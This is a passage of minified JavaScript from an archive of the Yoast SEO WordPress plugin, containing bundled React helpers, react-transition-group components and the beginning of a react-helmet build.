i,s,a=e.result,l=e.keyPrefix,d=e.func,u=e.context,p=d.call(u,t,e.count++);Array.isArray(p)?w(p,a,n,o.thatReturnsArgument):null!=p&&(r.isValidElement(p)&&(i=p,s=l+(!p.key||t&&t.key===p.key?"":g(p.key)+"/")+n,p=r.cloneElement(i,{key:s},void 0!==i.props?i.props.children:void 0)),a.push(p))}function w(e,t,n,r,i){var o="";null!=n&&(o=g(n)+"/");var s=y.getPooled(t,o,r,i);!function(e,t,n){null==e||f(e,"",t,n)}(e,x,s),y.release(s)}y.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},m=function(e,t,n,r){var i=this;if(i.instancePool.length){var o=i.instancePool.pop();return i.call(o,e,t,n,r),o}return new i(e,t,n,r)},(v=y).instancePool=[],v.getPooled=m||E,v.poolSize||(v.poolSize=10),v.release=function(e){var t=this;s(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return a(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return a(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;s(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var n in e)w(e[n],t,n,o.thatReturnsArgument);return t}},47942:e=>{"use strict";function t(e){return function(){return e}}var n=function(){};n.thatReturns=t,n.thatReturnsFalse=t(!1),n.thatReturnsTrue=t(!0),n.thatReturnsNull=t(null),n.thatReturnsThis=function(){return this},n.thatReturnsArgument=function(e){return e},e.exports=n},29179:e=>{"use strict";e.exports=function(e,t,n,r,i,o,s,a){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var d=[n,r,i,o,s,a],u=0;(l=new Error(t.replace(/%s/g,(function(){return d[u++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},70397:(e,t,n)=>{"use strict";var r=n(47942);e.exports=r},46871:(e,t,n)=>{"use strict";function r(){var e=this.constructor.getDerivedStateFromProps(this.props,this.state);null!=e&&this.setState(e)}function i(e){this.setState(function(t){var n=this.constructor.getDerivedStateFromProps(e,t);return null!=n?n:null}.bind(this))}function o(e,t){try{var n=this.props,r=this.state;this.props=e,this.state=t,this.__reactInternalSnapshotFlag=!0,this.__reactInternalSnapshot=this.getSnapshotBeforeUpdate(n,r)}finally{this.props=n,this.state=r}}function s(e){var t=e.prototype;if(!t||!t.isReactComponent)throw new Error("Can only polyfill class components");if("function"!=typeof e.getDerivedStateFromProps&&"function"!=typeof t.getSnapshotBeforeUpdate)return e;var n=null,s=null,a=null;if("function"==typeof t.componentWillMount?n="componentWillMount":"function"==typeof t.UNSAFE_componentWillMount&&(n="UNSAFE_componentWillMount"),"function"==typeof t.componentWillReceiveProps?s="componentWillReceiveProps":"function"==typeof t.UNSAFE_componentWillReceiveProps&&(s="UNSAFE_componentWillReceiveProps"),"function"==typeof t.componentWillUpdate?a="componentWillUpdate":"function"==typeof t.UNSAFE_componentWillUpdate&&(a="UNSAFE_componentWillUpdate"),null!==n||null!==s||null!==a){var l=e.displayName||e.name,d="function"==typeof e.getDerivedStateFromProps?"getDerivedStateFromProps()":"getSnapshotBeforeUpdate()";throw Error("Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n"+l+" uses "+d+" but also contains the following legacy lifecycles:"+(null!==n?"\n  "+n:"")+(null!==s?"\n  "+s:"")+(null!==a?"\n  "+a:"")+"\n\nThe above lifecycles should be removed. Learn more about this warning here:\nhttps://fb.me/react-async-component-lifecycle-hooks")}if("function"==typeof e.getDerivedStateFromProps&&(t.componentWillMount=r,t.componentWillReceiveProps=i),"function"==typeof t.getSnapshotBeforeUpdate){if("function"!=typeof t.componentDidUpdate)throw new Error("Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype");t.componentWillUpdate=o;var u=t.componentDidUpdate;t.componentDidUpdate=function(e,t,n){var r=this.__reactInternalSnapshotFlag?this.__reactInternalSnapshot:n;u.call(this,e,t,r)}}return e}n.r(t),n.d(t,{polyfill:()=>s}),r.__suppressDeprecationWarning=!0,i.__suppressDeprecationWarning=!0,o.__suppressDeprecationWarning=!0},80129:(e,t,n)=>{"use strict";t.__esModule=!0,t.default=void 0,function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)){var r=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,n):{};r.get||r.set?Object.defineProperty(t,n,r):t[n]=e[n]}t.default=e}(n(85890));var r=a(n(98141)),i=a(n(10602)),o=a(n(99196)),s=a(n(60644));function a(e){return e&&e.__esModule?e:{default:e}}function l(){return l=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},l.apply(this,arguments)}n(54726);var d=function(e,t){return e&&t&&t.split(" ").forEach((function(t){return(0,r.default)(e,t)}))},u=function(e,t){return e&&t&&t.split(" ").forEach((function(t){return(0,i.default)(e,t)}))},p=function(e){var t,n;function r(){for(var t,n=arguments.length,r=new Array(n),i=0;i<n;i++)r[i]=arguments[i];return(t=e.call.apply(e,[this].concat(r))||this).onEnter=function(e,n){var r=t.getClassNames(n?"appear":"enter").className;t.removeClasses(e,"exit"),d(e,r),t.props.onEnter&&t.props.onEnter(e,n)},t.onEntering=function(e,n){var r=t.getClassNames(n?"appear":"enter").activeClassName;t.reflowAndAddClass(e,r),t.props.onEntering&&t.props.onEntering(e,n)},t.onEntered=function(e,n){var r=t.getClassNames("appear").doneClassName,i=t.getClassNames("enter").doneClassName,o=n?r+" "+i:i;t.removeClasses(e,n?"appear":"enter"),d(e,o),t.props.onEntered&&t.props.onEntered(e,n)},t.onExit=function(e){var n=t.getClassNames("exit").className;t.removeClasses(e,"appear"),t.removeClasses(e,"enter"),d(e,n),t.props.onExit&&t.props.onExit(e)},t.onExiting=function(e){var n=t.getClassNames("exit").activeClassName;t.reflowAndAddClass(e,n),t.props.onExiting&&t.props.onExiting(e)},t.onExited=function(e){var n=t.getClassNames("exit").doneClassName;t.removeClasses(e,"exit"),d(e,n),t.props.onExited&&t.props.onExited(e)},t.getClassNames=function(e){var n=t.props.classNames,r="string"==typeof n,i=r?(r&&n?n+"-":"")+e:n[e];return{className:i,activeClassName:r?i+"-active":n[e+"Active"],doneClassName:r?i+"-done":n[e+"Done"]}},t}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var i=r.prototype;return i.removeClasses=function(e,t){var n=this.getClassNames(t),r=n.className,i=n.activeClassName,o=n.doneClassName;r&&u(e,r),i&&u(e,i),o&&u(e,o)},i.reflowAndAddClass=function(e,t){t&&(e&&e.scrollTop,d(e,t))},i.render=function(){var e=l({},this.props);return delete e.classNames,o.default.createElement(s.default,l({},e,{onEnter:this.onEnter,onEntered:this.onEntered,onEntering:this.onEntering,onExit:this.onExit,onExiting:this.onExiting,onExited:this.onExited}))},r}(o.default.Component);p.defaultProps={classNames:""},p.propTypes={};var c=p;t.default=c,e.exports=t.default},26093:(e,t,n)=>{"use strict";t.__esModule=!0,t.default=void 0,s(n(85890));var r=s(n(99196)),i=n(91850),o=s(n(92381));function s(e){return e&&e.__esModule?e:{default:e}}var a=function(e){var t,n;function s(){for(var t,n=arguments.length,r=new Array(n),i=0;i<n;i++)r[i]=arguments[i];return(t=e.call.apply(e,[this].concat(r))||this).handleEnter=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onEnter",0,n)},t.handleEntering=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onEntering",0,n)},t.handleEntered=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onEntered",0,n)},t.handleExit=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onExit",1,n)},t.handleExiting=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onExiting",1,n)},t.handleExited=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onExited",1,n)},t}n=e,(t=s).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var a=s.prototype;return a.handleLifecycle=function(e,t,n){var o,s=this.props.children,a=r.default.Children.toArray(s)[t];a.props[e]&&(o=a.props)[e].apply(o,n),this.props[e]&&this.props[e]((0,i.findDOMNode)(this))},a.render=function(){var e=this.props,t=e.children,n=e.in,i=function(e,t){if(null==e)return{};var n,r,i={},o=Object.keys(e);for(r=0;r<o.length;r++)n=o[r],t.indexOf(n)>=0||(i[n]=e[n]);return i}(e,["children","in"]),s=r.default.Children.toArray(t),a=s[0],l=s[1];return delete i.onEnter,delete i.onEntering,delete i.onEntered,delete i.onExit,delete i.onExiting,delete i.onExited,r.default.createElement(o.default,i,n?r.default.cloneElement(a,{key:"first",onEnter:this.handleEnter,onEntering:this.handleEntering,onEntered:this.handleEntered}):r.default.cloneElement(l,{key:"second",onEnter:this.handleExit,onEntering:this.handleExiting,onEntered:this.handleExited}))},s}(r.default.Component);a.propTypes={};var l=a;t.default=l,e.exports=t.default},60644:(e,t,n)=>{"use strict";t.__esModule=!0,t.default=t.EXITING=t.ENTERED=t.ENTERING=t.EXITED=t.UNMOUNTED=void 0;var r=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)){var r=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,n):{};r.get||r.set?Object.defineProperty(t,n,r):t[n]=e[n]}return t.default=e,t}(n(85890)),i=a(n(99196)),o=a(n(91850)),s=n(46871);function a(e){return e&&e.__esModule?e:{default:e}}n(54726);var l="unmounted";t.UNMOUNTED=l;var d="exited";t.EXITED=d;var u="entering";t.ENTERING=u;var p="entered";t.ENTERED=p;var c="exiting";t.EXITING=c;var f=function(e){var t,n;function r(t,n){var r;r=e.call(this,t,n)||this;var i,o=n.transitionGroup,s=o&&!o.isMounting?t.enter:t.appear;return r.appearStatus=null,t.in?s?(i=d,r.appearStatus=u):i=p:i=t.unmountOnExit||t.mountOnEnter?l:d,r.state={status:i},r.nextCallback=null,r}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var s=r.prototype;return s.getChildContext=function(){return{transitionGroup:null}},r.getDerivedStateFromProps=function(e,t){return e.in&&t.status===l?{status:d}:null},s.componentDidMount=function(){this.updateStatus(!0,this.appearStatus)},s.componentDidUpdate=function(e){var t=null;if(e!==this.props){var n=this.state.status;this.props.in?n!==u&&n!==p&&(t=u):n!==u&&n!==p||(t=c)}this.updateStatus(!1,t)},s.componentWillUnmount=function(){this.cancelNextCallback()},s.getTimeouts=function(){var e,t,n,r=this.props.timeout;return e=t=n=r,null!=r&&"number"!=typeof r&&(e=r.exit,t=r.enter,n=void 0!==r.appear?r.appear:t),{exit:e,enter:t,appear:n}},s.updateStatus=function(e,t){if(void 0===e&&(e=!1),null!==t){this.cancelNextCallback();var n=o.default.findDOMNode(this);t===u?this.performEnter(n,e):this.performExit(n)}else this.props.unmountOnExit&&this.state.status===d&&this.setState({status:l})},s.performEnter=function(e,t){var n=this,r=this.props.enter,i=this.context.transitionGroup?this.context.transitionGroup.isMounting:t,o=this.getTimeouts(),s=i?o.appear:o.enter;t||r?(this.props.onEnter(e,i),this.safeSetState({status:u},(function(){n.props.onEntering(e,i),n.onTransitionEnd(e,s,(function(){n.safeSetState({status:p},(function(){n.props.onEntered(e,i)}))}))}))):this.safeSetState({status:p},(function(){n.props.onEntered(e)}))},s.performExit=function(e){var t=this,n=this.props.exit,r=this.getTimeouts();n?(this.props.onExit(e),this.safeSetState({status:c},(function(){t.props.onExiting(e),t.onTransitionEnd(e,r.exit,(function(){t.safeSetState({status:d},(function(){t.props.onExited(e)}))}))}))):this.safeSetState({status:d},(function(){t.props.onExited(e)}))},s.cancelNextCallback=function(){null!==this.nextCallback&&(this.nextCallback.cancel(),this.nextCallback=null)},s.safeSetState=function(e,t){t=this.setNextCallback(t),this.setState(e,t)},s.setNextCallback=function(e){var t=this,n=!0;return this.nextCallback=function(r){n&&(n=!1,t.nextCallback=null,e(r))},this.nextCallback.cancel=function(){n=!1},this.nextCallback},s.onTransitionEnd=function(e,t,n){this.setNextCallback(n);var r=null==t&&!this.props.addEndListener;e&&!r?(this.props.addEndListener&&this.props.addEndListener(e,this.nextCallback),null!=t&&setTimeout(this.nextCallback,t)):setTimeout(this.nextCallback,0)},s.render=function(){var e=this.state.status;if(e===l)return null;var t=this.props,n=t.children,r=function(e,t){if(null==e)return{};var n,r,i={},o=Object.keys(e);for(r=0;r<o.length;r++)n=o[r],t.indexOf(n)>=0||(i[n]=e[n]);return i}(t,["children"]);if(delete r.in,delete r.mountOnEnter,delete r.unmountOnExit,delete r.appear,delete r.enter,delete r.exit,delete r.timeout,delete r.addEndListener,delete r.onEnter,delete r.onEntering,delete r.onEntered,delete r.onExit,delete r.onExiting,delete r.onExited,"function"==typeof n)return n(e,r);var o=i.default.Children.only(n);return i.default.cloneElement(o,r)},r}(i.default.Component);function h(){}f.contextTypes={transitionGroup:r.object},f.childContextTypes={transitionGroup:function(){}},f.propTypes={},f.defaultProps={in:!1,mountOnEnter:!1,unmountOnExit:!1,appear:!1,enter:!0,exit:!0,onEnter:h,onEntering:h,onEntered:h,onExit:h,onExiting:h,onExited:h},f.UNMOUNTED=0,f.EXITED=1,f.ENTERING=2,f.ENTERED=3,f.EXITING=4;var g=(0,s.polyfill)(f);t.default=g},92381:(e,t,n)=>{"use strict";t.__esModule=!0,t.default=void 0;var r=a(n(85890)),i=a(n(99196)),o=n(46871),s=n(40537);function a(e){return e&&e.__esModule?e:{default:e}}function l(){return l=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},l.apply(this,arguments)}function d(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}var u=Object.values||function(e){return Object.keys(e).map((function(t){return e[t]}))},p=function(e){var t,n;function r(t,n){var r,i=(r=e.call(this,t,n)||this).handleExited.bind(d(d(r)));return r.state={handleExited:i,firstRender:!0},r}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var o=r.prototype;return o.getChildContext=function(){return{transitionGroup:{isMounting:!this.appeared}}},o.componentDidMount=function(){this.appeared=!0,this.mounted=!0},o.componentWillUnmount=function(){this.mounted=!1},r.getDerivedStateFromProps=function(e,t){var n=t.children,r=t.handleExited;return{children:t.firstRender?(0,s.getInitialChildMapping)(e,r):(0,s.getNextChildMapping)(e,n,r),firstRender:!1}},o.handleExited=function(e,t){var n=(0,s.getChildMapping)(this.props.children);e.key in n||(e.props.onExited&&e.props.onExited(t),this.mounted&&this.setState((function(t){var n=l({},t.children);return delete n[e.key],{children:n}})))},o.render=function(){var e=this.props,t=e.component,n=e.childFactory,r=function(e,t){if(null==e)return{};var n,r,i={},o=Object.keys(e);for(r=0;r<o.length;r++)n=o[r],t.indexOf(n)>=0||(i[n]=e[n]);return i}(e,["component","childFactory"]),o=u(this.state.children).map(n);return delete r.appear,delete r.enter,delete r.exit,null===t?o:i.default.createElement(t,r,o)},r}(i.default.Component);p.childContextTypes={transitionGroup:r.default.object.isRequired},p.propTypes={},p.defaultProps={component:"div",childFactory:function(e){return e}};var c=(0,o.polyfill)(p);t.default=c,e.exports=t.default},64317:(e,t,n)=>{"use strict";var r=a(n(80129)),i=a(n(26093)),o=a(n(92381)),s=a(n(60644));function a(e){return e&&e.__esModule?e:{default:e}}e.exports={Transition:s.default,TransitionGroup:o.default,ReplaceTransition:i.default,CSSTransition:r.default}},40537:(e,t,n)=>{"use strict";t.__esModule=!0,t.getChildMapping=i,t.mergeChildMappings=o,t.getInitialChildMapping=function(e,t){return i(e.children,(function(n){return(0,r.cloneElement)(n,{onExited:t.bind(null,n),in:!0,appear:s(n,"appear",e),enter:s(n,"enter",e),exit:s(n,"exit",e)})}))},t.getNextChildMapping=function(e,t,n){var a=i(e.children),l=o(t,a);return Object.keys(l).forEach((function(i){var o=l[i];if((0,r.isValidElement)(o)){var d=i in t,u=i in a,p=t[i],c=(0,r.isValidElement)(p)&&!p.props.in;!u||d&&!c?u||!d||c?u&&d&&(0,r.isValidElement)(p)&&(l[i]=(0,r.cloneElement)(o,{onExited:n.bind(null,o),in:p.props.in,exit:s(o,"exit",e),enter:s(o,"enter",e)})):l[i]=(0,r.cloneElement)(o,{in:!1}):l[i]=(0,r.cloneElement)(o,{onExited:n.bind(null,o),in:!0,exit:s(o,"exit",e),enter:s(o,"enter",e)})}})),l};var r=n(99196);function i(e,t){var n=Object.create(null);return e&&r.Children.map(e,(function(e){return e})).forEach((function(e){n[e.key]=function(e){return t&&(0,r.isValidElement)(e)?t(e):e}(e)})),n}function o(e,t){function n(n){return n in t?t[n]:e[n]}e=e||{},t=t||{};var r,i=Object.create(null),o=[];for(var s in e)s in t?o.length&&(i[s]=o,o=[]):o.push(s);var a={};for(var l in t){if(i[l])for(r=0;r<i[l].length;r++){var d=i[l][r];a[i[l][r]]=n(d)}a[l]=n(l)}for(r=0;r<o.length;r++)a[o[r]]=n(o[r]);return a}function s(e,t,n){return null!=n[t]?n[t]:e.props[t]}},54726:(e,t,n)=>{"use strict";var r;t.__esModule=!0,t.classNamesShape=t.timeoutsShape=void 0,(r=n(85890))&&r.__esModule,t.timeoutsShape=null,t.classNamesShape=null},99196:e=>{"use strict";e.exports=window.React},91850:e=>{"use strict";e.exports=window.ReactDOM},92819:e=>{"use strict";e.exports=window.lodash},25853:e=>{"use strict";e.exports=window.lodash.debounce},38550:e=>{"use strict";e.exports=window.lodash.truncate},12049:e=>{"use strict";e.exports=window.lodash.uniqueId},65736:e=>{"use strict";e.exports=window.wp.i18n},42982:e=>{"use strict";e.exports=window.yoast.analysis},81413:e=>{"use strict";e.exports=window.yoast.componentsNew},23695:e=>{"use strict";e.exports=window.yoast.helpers},85890:e=>{"use strict";e.exports=window.yoast.propTypes},10224:e=>{"use strict";e.exports=window.yoast.replacementVariableEditor},37188:e=>{"use strict";e.exports=window.yoast.styleGuide},98487:e=>{"use strict";e.exports=window.yoast.styledComponents},64836:e=>{e.exports=function(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports}},t={};function n(r){var i=t[r];if(void 0!==i)return i.exports;var o=t[r]={exports:{}};return e[r](o,o.exports,n),o.exports}n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var r={};(()=>{"use strict";var e=r;Object.defineProperty(e,"__esModule",{value:!0}),Object.defineProperty(e,"FixedWidthContainer",{enumerable:!0,get:function(){return t.default}}),Object.defineProperty(e,"HelpTextWrapper",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(e,"SnippetEditor",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(e,"SnippetPreview",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(e,"getDescriptionProgress",{enumerable:!0,get:function(){return l.getDescriptionProgress}}),Object.defineProperty(e,"getTitleProgress",{enumerable:!0,get:function(){return l.getTitleProgress}}),Object.defineProperty(e,"lengthProgressShape",{enumerable:!0,get:function(){return a.lengthProgressShape}});var t=d(n(12330)),i=d(n(97775)),o=d(n(64475)),s=d(n(24861)),a=n(95157),l=n(76990);function d(e){return e&&e.__esModule?e:{default:e}}})(),(window.yoast=window.yoast||{}).searchMetadataPreviews=r})();wordpress-seo/js/dist/externals/reactHelmet.js000064400000040277147510273070015557 0ustar00(()=>{var e={27418:e=>{"use strict";var t=Object.getOwnPropertySymbols,r=Object.prototype.hasOwnProperty,n=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},r=0;r<10;r++)t["_"+String.fromCharCode(r)]=r;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var n={};return"abcdefghijklmnopqrst".split("").forEach((function(e){n[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},n)).join("")}catch(e){return!1}}()?Object.assign:function(e,o){for(var i,a,u=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),c=1;c<arguments.length;c++){for(var s in i=Object(arguments[c]))r.call(i,s)&&(u[s]=i[s]);if(t){a=t(i);for(var f=0;f<a.length;f++)n.call(i,a[f])&&(u[a[f]]=i[a[f]])}}return u}},69590:e=>{var t="undefined"!=typeof Element,r="function"==typeof Map,n="function"==typeof Set,o="function"==typeof ArrayBuffer&&!!ArrayBuffer.isView;function i(e,a){if(e===a)return!0;if(e&&a&&"object"==typeof e&&"object"==typeof a){if(e.constructor!==a.constructor)return!1;var u,c,s,f;if(Array.isArray(e)){if((u=e.length)!=a.length)return!1;for(c=u;0!=c--;)if(!i(e[c],a[c]))return!1;return!0}if(r&&e instanceof Map&&a instanceof Map){if(e.size!==a.size)return!1;for(f=e.entries();!(c=f.next()).done;)if(!a.has(c.value[0]))return!1;for(f=e.entries();!(c=f.next()).done;)if(!i(c.value[1],a.get(c.value[0])))return!1;return!0}if(n&&e instanceof Set&&a instanceof Set){if(e.size!==a.size)return!1;for(f=e.entries();!(c=f.next()).done;)if(!a.has(c.value[0]))return!1;return!0}if(o&&ArrayBuffer.isView(e)&&ArrayBuffer.isView(a)){if((u=e.length)!=a.length)return!1;for(c=u;0!=c--;)if(e[c]!==a[c])return!1;return!0}if(e.constructor===RegExp)return e.source===a.source&&e.flags===a.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===a.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===a.toString();if((u=(s=Object.keys(e)).length)!==Object.keys(a).length)return!1;for(c=u;0!=c--;)if(!Object.prototype.hasOwnProperty.call(a,s[c]))return!1;if(t&&e instanceof Element)return!1;for(c=u;0!=c--;)if(("_owner"!==s[c]&&"__v"!==s[c]&&"__o"!==s[c]||!e.$$typeof)&&!i(e[s[c]],a[s[c]]))return!1;return!0}return e!=e&&a!=a}e.exports=function(e,t){try{return i(e,t)}catch(e){if((e.message||"").match(/stack|recursion/i))return console.warn("react-fast-compare cannot handle circular refs"),!1;throw e}}},83524:(e,t,r)=>{"use strict";var n,o=r(99196),i=(n=o)&&"object"==typeof n&&"default"in n?n.default:n;function a(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var u=!("undefined"==typeof window||!window.document||!window.document.createElement);e.exports=function(e,t,r){if("function"!=typeof e)throw new Error("Expected reducePropsToState to be a function.");if("function"!=typeof t)throw new Error("Expected handleStateChangeOnClient to be a function.");if(void 0!==r&&"function"!=typeof r)throw new Error("Expected mapStateOnServer to either be undefined or a function.");return function(n){if("function"!=typeof n)throw new Error("Expected WrappedComponent to be a React component.");var c,s=[];function f(){c=e(s.map((function(e){return e.props}))),l.canUseDOM?t(c):r&&(c=r(c))}var l=function(e){var t,r;function o(){return e.apply(this,arguments)||this}r=e,(t=o).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,o.peek=function(){return c},o.rewind=function(){if(o.canUseDOM)throw new Error("You may only call rewind() on the server. Call peek() to read the current state.");var e=c;return c=void 0,s=[],e};var a=o.prototype;return a.UNSAFE_componentWillMount=function(){s.push(this),f()},a.componentDidUpdate=function(){f()},a.componentWillUnmount=function(){var e=s.indexOf(this);s.splice(e,1),f()},a.render=function(){return i.createElement(n,this.props)},o}(o.PureComponent);return a(l,"displayName","SideEffect("+function(e){return e.displayName||e.name||"Component"}(n)+")"),a(l,"canUseDOM",u),l}}},99196:e=>{"use strict";e.exports=window.React}},t={};function r(n){var o=t[n];if(void 0!==o)return o.exports;var i=t[n]={exports:{}};return e[n](i,i.exports,r),i.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var n in t)r.o(t,n)&&!r.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var n={};(()=>{"use strict";r.r(n),r.d(n,{Helmet:()=>re,default:()=>ne});const e=window.yoast.propTypes;var t,o,i,a,u=r.n(e),c=r(83524),s=r.n(c),f=r(69590),l=r.n(f),p=r(99196),d=r.n(p),y=r(27418),h=r.n(y),b="bodyAttributes",m="htmlAttributes",T={BASE:"base",BODY:"body",HEAD:"head",HTML:"html",LINK:"link",META:"meta",NOSCRIPT:"noscript",SCRIPT:"script",STYLE:"style",TITLE:"title"},g=(Object.keys(T).map((function(e){return T[e]})),"charset"),v="cssText",w="href",O="innerHTML",A="itemprop",C="rel",S={accesskey:"accessKey",charset:"charSet",class:"className",contenteditable:"contentEditable",contextmenu:"contextMenu","http-equiv":"httpEquiv",itemprop:"itemProp",tabindex:"tabIndex"},j=Object.keys(S).reduce((function(e,t){return e[S[t]]=t,e}),{}),E=[T.NOSCRIPT,T.SCRIPT,T.STYLE],P="data-react-helmet",k="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},x=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),L=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},I=function(e,t){var r={};for(var n in e)t.indexOf(n)>=0||Object.prototype.hasOwnProperty.call(e,n)&&(r[n]=e[n]);return r},M=function(e){return!1===(!(arguments.length>1&&void 0!==arguments[1])||arguments[1])?String(e):String(e).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#x27;")},N=function(e){var t=B(e,T.TITLE),r=B(e,"titleTemplate");if(r&&t)return r.replace(/%s/g,(function(){return Array.isArray(t)?t.join(""):t}));var n=B(e,"defaultTitle");return t||n||void 0},R=function(e){return B(e,"onChangeClientState")||function(){}},_=function(e,t){return t.filter((function(t){return void 0!==t[e]})).map((function(t){return t[e]})).reduce((function(e,t){return L({},e,t)}),{})},H=function(e,t){return t.filter((function(e){return void 0!==e[T.BASE]})).map((function(e){return e[T.BASE]})).reverse().reduce((function(t,r){if(!t.length)for(var n=Object.keys(r),o=0;o<n.length;o++){var i=n[o].toLowerCase();if(-1!==e.indexOf(i)&&r[i])return t.concat(r)}return t}),[])},q=function(e,t,r){var n={};return r.filter((function(t){return!!Array.isArray(t[e])||(void 0!==t[e]&&z("Helmet: "+e+' should be of type "Array". Instead found type "'+k(t[e])+'"'),!1)})).map((function(t){return t[e]})).reverse().reduce((function(e,r){var o={};r.filter((function(e){for(var r=void 0,i=Object.keys(e),a=0;a<i.length;a++){var u=i[a],c=u.toLowerCase();-1===t.indexOf(c)||r===C&&"canonical"===e[r].toLowerCase()||c===C&&"stylesheet"===e[c].toLowerCase()||(r=c),-1===t.indexOf(u)||u!==O&&u!==v&&u!==A||(r=u)}if(!r||!e[r])return!1;var s=e[r].toLowerCase();return n[r]||(n[r]={}),o[r]||(o[r]={}),!n[r][s]&&(o[r][s]=!0,!0)})).reverse().forEach((function(t){return e.push(t)}));for(var i=Object.keys(o),a=0;a<i.length;a++){var u=i[a],c=h()({},n[u],o[u]);n[u]=c}return e}),[]).reverse()},B=function(e,t){for(var r=e.length-1;r>=0;r--){var n=e[r];if(n.hasOwnProperty(t))return n[t]}return null},D=(t=Date.now(),function(e){var r=Date.now();r-t>16?(t=r,e(r)):setTimeout((function(){D(e)}),0)}),F=function(e){return clearTimeout(e)},Y="undefined"!=typeof window?window.requestAnimationFrame&&window.requestAnimationFrame.bind(window)||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||D:r.g.requestAnimationFrame||D,U="undefined"!=typeof window?window.cancelAnimationFrame||window.webkitCancelAnimationFrame||window.mozCancelAnimationFrame||F:r.g.cancelAnimationFrame||F,z=function(e){return console&&"function"==typeof console.warn&&console.warn(e)},K=null,V=function(e,t){var 